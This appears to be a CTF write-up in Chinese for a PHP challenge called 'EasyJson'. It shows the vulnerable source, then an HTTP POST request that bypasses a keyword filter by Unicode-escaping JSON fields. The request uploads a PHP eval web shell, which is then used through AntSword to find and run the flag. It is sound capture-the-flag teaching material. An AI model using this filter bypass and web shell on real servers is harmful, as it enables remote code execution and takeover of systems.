zoukankan      html  css  js  c++  java
  • CTF_EasyJson

    http://easyjson.d5116a.challenge.gcsis.cn/

    <?php
    include 'security.php';
    
    if(!isset($_GET['source'])){
        show_source(__FILE__);
        die();
    }
    $sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
    var_dump($sandbox);
    if(!file_exists($sandbox)){
        mkdir($sandbox);
        file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
    }
    $action = $_GET['action'];
    $content = file_get_contents("php://input");
    
    
    if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
        $content = json_decode($content);
        $filename = $_GET['filename'];
        $filecontent = $content->content;
        $filename = $sandbox.$filename;
        file_put_contents($filename,$filecontent."
     Powered By Dbapp OSS.");
    }elseif($action == "reset"){
        $files = scandir($sandbox);
        foreach($files as $file) {
            if(!is_dir($file)){
                if($file !== "index.php"){
                    unlink($sandbox.$file);
                }
            }
        }
    }
    else{
        die('Security Check Failed.');
    }
    

    创建以IP摘要的文件夹,然后从input流读入内容写入到指定目录的指定文件
    测试发现带有on关键字会被检测

    将n和content内容使用Unicode编码进行编码,利用json特性解析时自动解码绕过检测

    POST /?source=x&action=write&filename=x.php HTTP/1.1
    Host: easyjson.d5116a.challenge.gcsis.cn
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 175
    
    {"cou006etent":"u003cu003fu0070u0068u0070u0020u0065u0076u0061u006cu0028u0024u005fu0050u004fu0053u0054u005bu0027u0078u0027u005du0029u003bu003fu003e"}
    

    绕过检测,成功上传x.php文件,内容为<?php eval($_POST['x']);?>
    使用蚁剑连接之

    虚拟终端使用命令find / -name "*flag*"搜索flag

    在根目录发现flag且为可执行文件,执行得到flag

  • 相关阅读:
    1. C/C++项目一
    3. C/C++笔试面试经典题目三
    1. C/C++笔试面试经典题目一
    Win7下C/C++跨平台开发工具IDE的安装之Eclipse-CDT
    Win7下C/C++跨平台开发工具IDE的安装之CodeBlocks
    css
    form表单,选择器
    html介绍
    元类
    事务、视图、触发器、存储过程、函数、数据库的备份
  • 原文地址:https://www.cnblogs.com/AirSky/p/CTF_EasyJson.html
Copyright © 2011-2022 走看看